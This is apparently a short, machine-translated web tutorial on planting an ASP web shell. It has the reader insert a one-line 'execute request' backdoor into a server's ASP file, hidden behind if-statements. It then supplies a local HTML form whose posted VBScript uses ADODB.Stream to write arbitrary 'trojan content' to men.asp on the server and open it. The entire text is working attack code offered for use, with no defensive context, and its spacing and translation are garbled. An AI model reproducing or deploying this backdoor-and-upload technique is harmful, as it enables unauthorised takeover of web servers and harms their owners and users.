First, write <% execute request ("value") %> in the ASP file.
Code
If you want to hide it, you must add some if judgment statements.
Then write a form locally.
Copy codeThe Code is as follows: <form action = http: // ***. com/jb51.asp method = post>
<Textarea name = value Cols = 120 rows = 10 width = 45>
Set Lp = server. Createobject ("ADODB. Stream ")
LP. Open
LP. type = 2
LP. charset = "gb2312"
LP. writetext request ("hackbin ")
LP. savetofile server. mappath ("men. asp"), 2
LP. Close
Set Lp = nothing
Response. Redirect "men. asp"
</Textarea>
<Textarea name = hackbin Cols = 120 rows = 10 width = 45> Add the trojan content </textarea> <br> <center> <br> <input type = submit value = submit>
Save as an HTM file and set http ://***. COM/jb51.asp is replaced with the file you inserted <% execute request ("value") %>, and then click Submit to jump directly to the Trojan
